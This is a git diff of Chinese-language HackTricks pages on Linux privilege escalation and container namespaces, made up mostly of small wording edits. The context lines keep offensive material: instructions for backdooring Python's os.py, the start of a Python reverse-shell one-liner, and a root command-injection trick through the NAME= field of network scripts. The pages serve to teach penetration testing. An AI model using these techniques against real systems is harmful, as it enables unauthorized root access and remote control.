-为了**读取日志，组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有用。
+为了**读取日志，组** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 将非常有帮助。
### Shell 文件
```bash
@@ -1319,7 +1319,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Python library hijacking
-如果您知道**从哪里**将要执行python脚本，并且您**可以在**该文件夹中写入或**修改python库**，您可以修改OS库并进行后门（如果您可以写入python脚本将要执行的位置，请复制并粘贴os.py库）。
+如果您知道**从哪里**将执行python脚本，并且您**可以在**该文件夹中写入或**修改python库**，您可以修改OS库并进行后门（如果您可以写入python脚本将要执行的位置，请复制并粘贴os.py库）。
要**对库进行后门**，只需在os.py库的末尾添加以下行（更改IP和端口）：
```python
@@ -1344,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
如果出于某种原因，用户能够 **写入** 一个 `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本，那么您的 **系统就被攻陷了**。
-网络脚本，例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而，它们在 Linux 上由网络管理器（dispatcher.d）进行 \~sourced\~。
+网络脚本，例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而，它们在 Linux 中由网络管理器（dispatcher.d）\~sourced\~。
在我的案例中，这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空白/空格，系统会尝试执行空白/空格后面的部分**。这意味着 **第一个空格后面的所有内容都以 root 身份执行**。
@@ -1356,11 +1356,11 @@ DEVICE=eth0
```
### **init, init.d, systemd 和 rc.d**
-目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 的家，**经典的 Linux 服务管理系统**。它包括用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中，另一个路径是 `/etc/rc.d/init.d`。
+目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 的家。它包括用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中，另一个路径是 `/etc/rc.d/init.d`。
另一方面，`/etc/init` 与 **Upstart** 相关，这是由 Ubuntu 引入的较新的 **服务管理**，使用配置文件进行服务管理任务。尽管已经过渡到 Upstart，但由于 Upstart 中的兼容性层，SysVinit 脚本仍与 Upstart 配置一起使用。
-**systemd** 作为现代初始化和服务管理器出现，提供了高级功能，如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用，并将 `/etc/systemd/system/` 用于管理员修改，从而简化了系统管理过程。
+**systemd** 作为现代初始化和服务管理器出现，提供了高级功能，如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改，从而简化了系统管理过程。
## 其他技巧
@@ -1393,7 +1393,7 @@ cisco-vmanage.md
## Linux/Unix 权限提升工具
-### **查找 Linux 本地权限提升向量的最佳工具：** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
+### **查找 Linux 本地权限提升向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 选项)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
index d22a7bc75..768b7fb3e 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md
@@ -4,13 +4,13 @@
## 基本信息
-cgroup 命名空间是一个 Linux 内核特性，提供 **对在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups，简称 **控制组**，是一个内核特性，允许将进程组织成层次组，以管理和强制 **系统资源的限制**，如 CPU、内存和 I/O。
+cgroup 命名空间是一个 Linux 内核特性，提供 **在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups，简称 **控制组**，是一个内核特性，允许将进程组织成层次组，以管理和强制 **系统资源的限制**，如 CPU、内存和 I/O。
虽然 cgroup 命名空间不是我们之前讨论的其他命名空间类型（PID、挂载、网络等），但它们与命名空间隔离的概念相关。**Cgroup 命名空间虚拟化了 cgroup 层次结构的视图**，因此在 cgroup 命名空间内运行的进程与在主机或其他命名空间中运行的进程相比，具有不同的层次结构视图。
### 工作原理：
-1. 当创建一个新的 cgroup 命名空间时，**它以创建进程的 cgroup 为基础，开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程只会看到整个 cgroup 层次结构的一个子集，限制在以创建进程的 cgroup 为根的 cgroup 子树内。
+1. 当创建一个新的 cgroup 命名空间时，**它以创建进程的 cgroup 为基础开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将只看到整个 cgroup 层次结构的一个子集，限制在以创建进程的 cgroup 为根的 cgroup 子树内。
2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着，从命名空间内进程的角度来看，它们自己的 cgroup 显示为根，并且它们无法看到或访问其自身子树之外的 cgroup。
3. Cgroup 命名空间并不直接提供资源的隔离；**它们仅提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统（例如，cpu、内存等）本身强制执行。
@@ -28,7 +28,7 @@ cgroup 命名空间是一个 Linux 内核特性，提供 **对在命名空间内
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
-通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有**特定于该命名空间的进程信息的准确和隔离视图**。
+通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
@@ -38,19 +38,19 @@ sudo unshare -C [--mount-proc] /bin/bash
1. **问题说明**：
-- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，启动新 PID 命名空间创建的进程（称为“unshare”进程）并不会进入新的命名空间；只有它的子进程会进入。
+- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，启动新 PID 命名空间创建的进程（称为 "unshare" 进程）并不会进入新的命名空间；只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。
- 新命名空间中 `/bin/bash` 的第一个子进程成为 PID 1。当该进程退出时，如果没有其他进程，它会触发命名空间的清理，因为 PID 1 具有收养孤儿进程的特殊角色。然后，Linux 内核将禁用该命名空间中的 PID 分配。
2. **后果**：
-- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID，从而产生“无法分配内存”的错误。
+- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID，从而产生 "无法分配内存" 的错误。
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
-通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
+通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
@@ -58,7 +58,7 @@ sudo unshare -C [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
@@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
-此外，您只能在**根用户**下**进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间（例如 `/proc/self/ns/cgroup`）。
+此外，您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间（如 `/proc/self/ns/cgroup`）。
## 参考
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
index d261b7d63..7dd49ab93 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md
@@ -10,7 +10,7 @@ IPC（进程间通信）命名空间是一个Linux内核特性，提供**隔离*
1. 当创建一个新的IPC命名空间时，它会以**完全隔离的System V IPC对象集**开始。这意味着在新的IPC命名空间中运行的进程默认无法访问或干扰其他命名空间或主机系统中的IPC对象。
2. 在命名空间内创建的IPC对象仅对**该命名空间内的进程可见和可访问**。每个IPC对象在其命名空间内由唯一的键标识。尽管在不同命名空间中键可能相同，但对象本身是隔离的，无法跨命名空间访问。
-3. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWIPC`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时，它将开始使用与该命名空间关联的IPC对象。
+3. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWIPC`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新命名空间或创建一个时，它将开始使用与该命名空间关联的IPC对象。
## 实验：
@@ -20,7 +20,7 @@ IPC（进程间通信）命名空间是一个Linux内核特性，提供**隔离*
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
-通过挂载新的 `/proc` 文件系统，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
+通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离视图**。
@@ -40,9 +40,9 @@ sudo unshare -i [--mount-proc] /bin/bash
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
-- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
+- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新的命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
-通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
+通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
@@ -50,7 +50,7 @@ sudo unshare -i [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
index 9d3632451..d087edfdb 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
@@ -12,8 +12,8 @@
1. 当创建一个新的挂载命名空间时，它会用**来自其父命名空间的挂载点的副本**进行初始化。这意味着在创建时，新的命名空间与其父命名空间共享相同的文件系统视图。然而，命名空间内的任何后续挂载点更改将不会影响父命名空间或其他命名空间。
2. 当一个进程在其命名空间内修改挂载点，例如挂载或卸载文件系统时，**更改仅限于该命名空间**，不会影响其他命名空间。这允许每个命名空间拥有自己的独立文件系统层次结构。
-3. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当一个进程移动到一个新的命名空间或创建一个新的命名空间时，它将开始使用与该命名空间关联的挂载点。
-4. **文件描述符和inode在命名空间之间是共享的**，这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符，它可以**将该文件描述符传递**给另一个命名空间中的进程，**两个进程将访问同一个文件**。然而，由于挂载点的差异，文件的路径在两个命名空间中可能并不相同。
+3. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当一个进程移动到一个新命名空间或创建一个新命名空间时，它将开始使用与该命名空间关联的挂载点。
+4. **文件描述符和inode在命名空间之间是共享的**，这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符，它可以**将该文件描述符传递给另一个命名空间中的进程**，并且**两个进程将访问同一个文件**。然而，由于挂载点的差异，文件的路径在两个命名空间中可能并不相同。
## 实验：
@@ -43,9 +43,9 @@ sudo unshare -m [--mount-proc] /bin/bash
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
-- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
+- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新的命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。
-通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。
+通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
@@ -53,7 +53,7 @@ sudo unshare -m [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
@@ -72,7 +72,7 @@ findmnt
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
-此外，您只能在**根用户**下**进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间（例如 `/proc/self/ns/mnt`）。
+此外，您只能**进入另一个进程命名空间，如果您是 root**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间（例如 `/proc/self/ns/mnt`）。
因为新挂载仅在命名空间内可访问，所以命名空间可能包含只能从中访问的敏感信息。
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
index 3ee1e896c..0bc309805 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
@@ -8,10 +8,10 @@
### 工作原理：
-1. 当创建一个新的网络命名空间时，它将以**完全隔离的网络栈**开始，**没有网络接口**，除了回环接口（lo）。这意味着在新的网络命名空间中运行的进程默认无法与其他命名空间或主机系统中的进程通信。
+1. 当创建一个新的网络命名空间时，它将以**完全隔离的网络栈**开始，除了回环接口（lo）外**没有网络接口**。这意味着在新的网络命名空间中运行的进程默认无法与其他命名空间或主机系统中的进程通信。
2. **虚拟网络接口**，如veth对，可以在网络命名空间之间创建和移动。这允许在命名空间之间或命名空间与主机系统之间建立网络连接。例如，veth对的一端可以放置在容器的网络命名空间中，另一端可以连接到主机命名空间中的**桥接**或其他网络接口，为容器提供网络连接。
3. 命名空间内的网络接口可以拥有**自己的IP地址、路由表和防火墙规则**，与其他命名空间独立。这允许不同网络命名空间中的进程具有不同的网络配置，并像在独立的网络系统上运行一样操作。
-4. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时，它将开始使用与该命名空间相关的网络配置和接口。
+4. 进程可以使用`setns()`系统调用在命名空间之间移动，或使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时，它将开始使用与该命名空间关联的网络配置和接口。
## 实验：
@@ -22,7 +22,7 @@
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
-通过挂载新的 `/proc` 文件系统，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
+通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
@@ -30,7 +30,7 @@ sudo unshare -n [--mount-proc] /bin/bash
当 `unshare` 在没有 `-f` 选项的情况下执行时，由于 Linux 处理新的 PID（进程 ID）命名空间的方式，会遇到错误。关键细节和解决方案如下：
-1. **问题解释**：
+1. **问题说明**：
- Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而，启动新 PID 命名空间创建的进程（称为 "unshare" 进程）并不会进入新的命名空间；只有它的子进程会进入。
- 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此，`/bin/bash` 及其子进程位于原始 PID 命名空间中。
@@ -53,7 +53,7 @@ sudo unshare -n [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
@@ -68,9 +68,9 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
-此外，您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间（如 `/proc/self/ns/net`）。
+您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间（例如 `/proc/self/ns/net`）。
-## 参考
+## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 1727e6f3c..0aa8a3aec 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -8,12 +8,12 @@ PID（进程标识符）命名空间是Linux内核中的一个特性，通过使
当创建一个新的PID命名空间时，该命名空间中的第一个进程被分配PID 1。这个进程成为新命名空间的“init”进程，负责管理该命名空间内的其他进程。在命名空间内创建的每个后续进程将拥有该命名空间内的唯一PID，这些PID将独立于其他命名空间中的PID。
-从PID命名空间内一个进程的角度来看，它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程，也无法使用传统的进程管理工具（例如，`kill`、`wait`等）与它们交互。这提供了一种隔离级别，有助于防止进程相互干扰。
+从PID命名空间内进程的角度来看，它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程，也无法使用传统的进程管理工具（例如，`kill`、`wait`等）与它们交互。这提供了一种隔离级别，有助于防止进程相互干扰。
### 工作原理：
1. 当创建一个新进程时（例如，通过使用`clone()`系统调用），该进程可以被分配到一个新的或现有的PID命名空间。**如果创建了一个新命名空间，该进程将成为该命名空间的“init”进程**。
-2. **内核**维护一个**新命名空间中的PID与父命名空间中相应PID之间的映射**（即，从中创建新命名空间的命名空间）。这个映射**允许内核在必要时翻译PID**，例如在不同命名空间中的进程之间发送信号时。
+2. **内核**维护一个**新命名空间中的PID与父命名空间中相应PID之间的映射**（即，从中创建新命名空间的命名空间）。这个映射**允许内核在必要时翻译PID**，例如，在不同命名空间中的进程之间发送信号时。
3. **PID命名空间中的进程只能看到并与同一命名空间中的其他进程交互**。它们无法感知其他命名空间中的进程，并且它们的PID在其命名空间内是唯一的。
4. 当**PID命名空间被销毁**（例如，当命名空间的“init”进程退出时），**该命名空间内的所有进程都将被终止**。这确保与命名空间相关的所有资源都得到妥善清理。
@@ -55,7 +55,7 @@ sudo unshare -pf --mount-proc /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
@@ -64,9 +64,9 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
-请注意，初始（默认）PID命名空间中的root用户可以看到所有进程，甚至是新PID命名空间中的进程，这就是我们可以看到所有PID命名空间的原因。
+注意，初始（默认）PID 命名空间中的 root 用户可以看到所有进程，包括新 PID 命名空间中的进程，这就是我们可以看到所有 PID 命名空间的原因。
-### 进入PID命名空间
+### 进入 PID 命名空间
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index 551f9dfe6..78d070e00 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -1,4 +1,4 @@
-# 时间命名空间
+# Time Namespace
{{#include ../../../../banners/hacktricks-training.md}}
@@ -34,9 +34,9 @@ sudo unshare -T [--mount-proc] /bin/bash
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
-- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 提前退出，并允许正常的 PID 分配。
+- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。
-通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行，而不会遇到内存分配错误。
+通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
@@ -44,7 +44,7 @@ sudo unshare -T [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### 检查您的进程所在的命名空间
+### 检查您的进程所在的命名空间
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index d289f9d8c..61fa380e2 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -4,16 +4,16 @@
## 基本信息
-用户命名空间是一个 Linux 内核特性，**提供用户和组 ID 映射的隔离**，允许每个用户命名空间拥有**自己的一组用户和组 ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**，即使它们在数字上共享相同的用户和组 ID。
+用户命名空间是一个 Linux 内核特性，**提供用户和组 ID 映射的隔离**，允许每个用户命名空间拥有**自己的一组用户和组 ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**，即使它们在数值上共享相同的用户和组 ID。
用户命名空间在容器化中特别有用，每个容器应该拥有自己独立的用户和组 ID 集，从而在容器与主机系统之间提供更好的安全性和隔离。
### 工作原理：
1. 当创建一个新的用户命名空间时，它**以一个空的用户和组 ID 映射集开始**。这意味着在新的用户命名空间中运行的任何进程**最初在命名空间外没有权限**。
-2. 可以在新命名空间中的用户和组 ID 与父（或主机）命名空间中的 ID 之间建立 ID 映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组 ID 相对应的权限和所有权**。然而，ID 映射可以限制在特定范围和子集的 ID 上，从而对新命名空间中授予进程的权限进行细粒度控制。
-3. 在用户命名空间内，**进程可以对命名空间内的操作拥有完全的 root 权限（UID 0）**，同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似 root 的能力运行，而不在主机系统上拥有完全的 root 权限**。
-4. 进程可以使用 `setns()` 系统调用在命名空间之间移动，或使用带有 `CLONE_NEWUSER` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时，它将开始使用与该命名空间相关联的用户和组 ID 映射。
+2. 可以在新命名空间中的用户和组 ID 与父（或主机）命名空间中的 ID 之间建立 ID 映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组 ID 对应的权限和所有权**。然而，ID 映射可以限制在特定范围和 ID 子集上，从而对新命名空间中进程授予的权限进行细粒度控制。
+3. 在用户命名空间内，**进程可以在命名空间内拥有完全的 root 权限（UID 0）**，同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似 root 的能力运行，而不在主机系统上拥有完全的 root 权限**。
+4. 进程可以使用 `setns()` 系统调用在命名空间之间移动，或使用带有 `CLONE_NEWUSER` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时，它将开始使用与该命名空间关联的用户和组 ID 映射。
## 实验：
@@ -23,7 +23,7 @@
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-通过挂载新的 `/proc` 文件系统，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
+通过挂载新的 `/proc` 文件系统实例，如果使用参数 `--mount-proc`，您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
@@ -43,7 +43,7 @@ sudo unshare -U [--mount-proc] /bin/bash
3. **解决方案**：
- 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。
-- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。
+- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后，`/bin/bash` 及其子进程安全地包含在这个新命名空间中，防止 PID 1 的过早退出，并允许正常的 PID 分配。
通过确保 `unshare` 以 `-f` 标志运行，新的 PID 命名空间得以正确维护，使得 `/bin/bash` 及其子进程能够正常运行，而不会遇到内存分配错误。
@@ -55,7 +55,7 @@ docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
要使用用户命名空间，Docker 守护进程需要使用 **`--userns-remap=default`** 启动（在 Ubuntu 14.04 中，可以通过修改 `/etc/default/docker` 然后执行 `sudo service docker restart` 来完成）
-### 检查您的进程在哪个命名空间中
+### 检查您的进程在哪个命名空间中
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -80,7 +80,7 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
-此外，您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间（例如 `/proc/self/ns/user`）。
+此外，您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间（例如 `/proc/self/ns/user`）。
### 创建新的用户命名空间（带映射）
```bash
@@ -100,10 +100,10 @@ root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
